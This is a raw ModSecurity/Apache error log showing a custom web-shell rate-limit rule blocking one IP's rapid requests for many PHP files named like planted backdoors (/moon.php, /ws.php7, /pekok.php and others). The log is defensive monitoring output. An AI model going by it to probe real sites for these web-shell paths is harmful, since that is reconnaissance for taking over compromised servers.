[Mon Dec 08 21:17:32.058300 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:19829] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aTbP7H23gV7gRu3vn82CEAAAAI4"]
[Mon Dec 08 21:17:32.360031 2025] [:error] [pid 48482:tid 48513] [client 4.190.217.206:19805] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aTbP7H23gV7gRu3vn82CEQAAAIE"]
[Mon Dec 08 21:17:32.600248 2025] [:error] [pid 48482:tid 48520] [client 4.190.217.206:19833] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aTbP7H23gV7gRu3vn82CFAAAAIg"]
[Mon Dec 08 21:17:32.840526 2025] [:error] [pid 48573:tid 48590] [client 4.190.217.206:19731] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aTbP7FIayuqwlm3CEkaEZQAAAU8"]
[Mon Dec 08 21:17:33.090942 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:19773] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aTbP7VIayuqwlm3CEkaEZgAAAVU"]
[Mon Dec 08 21:17:33.354356 2025] [:error] [pid 48482:tid 48532] [client 4.190.217.206:19712] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aTbP7X23gV7gRu3vn82CFwAAAJQ"]
[Mon Dec 08 21:17:33.596164 2025] [:error] [pid 48541:tid 48561] [client 4.190.217.206:11209] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aTbP7QSNhJPArxLCdWH7AQAAARI"]
[Mon Dec 08 21:17:33.898286 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:19798] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aTbP7fHhZxyKreYmWzKs2AAAAAQ"]
[Mon Dec 08 21:17:34.139547 2025] [:error] [pid 48482:tid 48515] [client 4.190.217.206:19825] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aTbP7n23gV7gRu3vn82CGwAAAIM"]
[Mon Dec 08 21:17:34.440865 2025] [:error] [pid 48573:tid 48595] [client 4.190.217.206:19782] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aTbP7lIayuqwlm3CEkaEaQAAAVQ"]
[Mon Dec 08 21:17:34.683169 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:19802] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aTbP7vHhZxyKreYmWzKs2wAAABg"]
[Mon Dec 08 21:17:34.930917 2025] [:error] [pid 50569:tid 50581] [client 4.190.217.206:11223] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aTbP7vHhZxyKreYmWzKs3AAAAAk"]
[Mon Dec 08 21:17:35.187115 2025] [:error] [pid 48573:tid 48594] [client 4.190.217.206:19779] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aTbP71Iayuqwlm3CEkaEawAAAVM"]
[Mon Dec 08 21:17:35.428192 2025] [:error] [pid 48481:tid 48492] [client 4.190.217.206:11219] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aTbP7ye0pzx5KCi3S0IaUAAAAMc"]
[Mon Dec 08 21:17:35.678559 2025] [:error] [pid 48482:tid 48530] [client 4.190.217.206:19791] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aTbP7323gV7gRu3vn82CIAAAAJI"]
[Mon Dec 08 21:17:35.920433 2025] [:error] [pid 48482:tid 48535] [client 4.190.217.206:19770] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aTbP7323gV7gRu3vn82CIQAAAJc"]
[Mon Dec 08 21:17:36.163858 2025] [:error] [pid 48482:tid 48518] [client 4.190.217.206:19789] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aTbP8H23gV7gRu3vn82CIwAAAIY"]
[Mon Dec 08 21:17:36.464313 2025] [:error] [pid 48573:tid 48590] [client 4.190.217.206:11230] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aTbP8FIayuqwlm3CEkaEcAAAAU8"]
[Mon Dec 08 21:17:36.710568 2025] [:error] [pid 48541:tid 48559] [client 4.190.217.206:19748] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aTbP8ASNhJPArxLCdWH7BgAAARA"]
[Mon Dec 08 21:17:36.952815 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:11212] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aTbP8FIayuqwlm3CEkaEcQAAAVU"]
[Mon Dec 08 21:17:37.192383 2025] [:error] [pid 48482:tid 48534] [client 4.190.217.206:19772] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aTbP8X23gV7gRu3vn82CJgAAAJY"]
[Mon Dec 08 21:17:37.433546 2025] [:error] [pid 48482:tid 48516] [client 4.190.217.206:19749] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aTbP8X23gV7gRu3vn82CKQAAAIQ"]
[Mon Dec 08 21:17:37.675057 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:19746] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aTbP8X23gV7gRu3vn82CKgAAAI8"]
[Mon Dec 08 21:17:37.917772 2025] [:error] [pid 48541:tid 48545] [client 4.190.217.206:11222] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aTbP8QSNhJPArxLCdWH7CAAAAQI"]
[Mon Dec 08 21:17:38.220337 2025] [:error] [pid 48573:tid 48579] [client 4.190.217.206:19760] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aTbP8lIayuqwlm3CEkaEcwAAAUQ"]
[Mon Dec 08 21:17:38.475038 2025] [:error] [pid 48541:tid 48544] [client 4.190.217.206:19758] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aTbP8gSNhJPArxLCdWH7CgAAAQE"]
[Mon Dec 08 21:17:38.716483 2025] [:error] [pid 48573:tid 48581] [client 4.190.217.206:11217] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aTbP8lIayuqwlm3CEkaEdQAAAUY"]
[Mon Dec 08 21:17:38.977842 2025] [:error] [pid 48573:tid 48578] [client 4.190.217.206:11207] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aTbP8lIayuqwlm3CEkaEdgAAAUM"]
[Mon Dec 08 21:17:39.228462 2025] [:error] [pid 48573:tid 48592] [client 4.190.217.206:19811] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aTbP81Iayuqwlm3CEkaEeAAAAVE"]
[Mon Dec 08 21:17:39.469206 2025] [:error] [pid 48482:tid 48529] [client 4.190.217.206:19795] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aTbP8323gV7gRu3vn82CLgAAAJE"]
[Mon Dec 08 21:17:39.710740 2025] [:error] [pid 48482:tid 48522] [client 4.190.217.206:19769] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aTbP8323gV7gRu3vn82CLwAAAIo"]
[Mon Dec 08 21:17:39.960711 2025] [:error] [pid 48541:tid 48562] [client 4.190.217.206:19751] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aTbP8wSNhJPArxLCdWH7CwAAARM"]
[Mon Dec 08 21:17:40.202325 2025] [:error] [pid 48482:tid 48513] [client 4.190.217.206:19810] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aTbP9H23gV7gRu3vn82CMQAAAIE"]
[Mon Dec 08 21:17:40.447181 2025] [:error] [pid 48573:tid 48591] [client 4.190.217.206:11216] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aTbP9FIayuqwlm3CEkaEfQAAAVA"]
[Mon Dec 08 21:17:40.703205 2025] [:error] [pid 48482:tid 48516] [client 4.190.217.206:19781] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aTbP9H23gV7gRu3vn82CMwAAAIQ"]
[Mon Dec 08 21:17:40.944567 2025] [:error] [pid 50569:tid 50595] [client 4.190.217.206:19727] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aTbP9PHhZxyKreYmWzKs5gAAABc"]
[Mon Dec 08 21:17:41.194933 2025] [:error] [pid 48482:tid 48515] [client 4.190.217.206:11227] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aTbP9X23gV7gRu3vn82CNAAAAIM"]
[Mon Dec 08 21:17:41.438122 2025] [:error] [pid 48541:tid 48560] [client 4.190.217.206:11153] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aTbP9QSNhJPArxLCdWH7DwAAARE"]
[Mon Dec 08 21:17:41.679988 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:19738] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aTbP9X23gV7gRu3vn82CNQAAAIc"]
[Mon Dec 08 21:17:41.980715 2025] [:error] [pid 48573:tid 48575] [client 4.190.217.206:11254] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aTbP9VIayuqwlm3CEkaEgAAAAUA"]
[Mon Dec 08 21:17:42.224055 2025] [:error] [pid 48541:tid 48563] [client 4.190.217.206:19830] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aTbP9gSNhJPArxLCdWH7EAAAARQ"]
[Mon Dec 08 21:17:42.464073 2025] [:error] [pid 48573:tid 48584] [client 4.190.217.206:11260] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP9lIayuqwlm3CEkaEgQAAAUk"]
[Mon Dec 08 21:17:42.706094 2025] [:error] [pid 48482:tid 48529] [client 4.190.217.206:19817] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP9n23gV7gRu3vn82CNwAAAJE"]
[Mon Dec 08 21:17:42.947607 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11202] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP9vHhZxyKreYmWzKs6gAAAAM"]
[Mon Dec 08 21:17:43.188814 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:19714] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP9_HhZxyKreYmWzKs6wAAAA8"]
[Mon Dec 08 21:17:43.439532 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:19743] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTbP9_HhZxyKreYmWzKs7AAAAAQ"]
[Mon Dec 08 21:17:43.741500 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11243] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTbP9_HhZxyKreYmWzKs7gAAAA4"]
[Mon Dec 08 21:17:43.984078 2025] [:error] [pid 48481:tid 48496] [client 4.190.217.206:19761] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTbP9ye0pzx5KCi3S0IaWgAAAMs"]
[Mon Dec 08 21:17:44.225571 2025] [:error] [pid 48541:tid 48546] [client 4.190.217.206:19804] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aTbP-ASNhJPArxLCdWH7FAAAAQM"]
[Mon Dec 08 21:17:44.467922 2025] [:error] [pid 48541:tid 48553] [client 4.190.217.206:19744] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aTbP-ASNhJPArxLCdWH7FgAAAQo"]
[Mon Dec 08 21:17:44.710160 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:11231] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aTbP-PHhZxyKreYmWzKs8gAAAAo"]
[Mon Dec 08 21:17:44.952508 2025] [:error] [pid 48541:tid 48551] [client 4.190.217.206:11215] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aTbP-ASNhJPArxLCdWH7GAAAAQg"]
[Mon Dec 08 21:17:45.268973 2025] [:error] [pid 48541:tid 48544] [client 4.190.217.206:19739] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aTbP-QSNhJPArxLCdWH7GQAAAQE"]
[Mon Dec 08 21:17:45.570469 2025] [:error] [pid 48573:tid 48597] [client 4.190.217.206:11242] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aTbP-VIayuqwlm3CEkaEhQAAAVY"]
[Mon Dec 08 21:17:45.810666 2025] [:error] [pid 48573:tid 48591] [client 4.190.217.206:19839] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aTbP-VIayuqwlm3CEkaEhwAAAVA"]
[Mon Dec 08 21:17:46.053520 2025] [:error] [pid 48481:tid 48488] [client 4.190.217.206:19835] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aTbP-ie0pzx5KCi3S0IaXQAAAMM"]
[Mon Dec 08 21:17:46.360165 2025] [:error] [pid 48482:tid 48535] [client 4.190.217.206:19740] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aTbP-n23gV7gRu3vn82CPAAAAJc"]
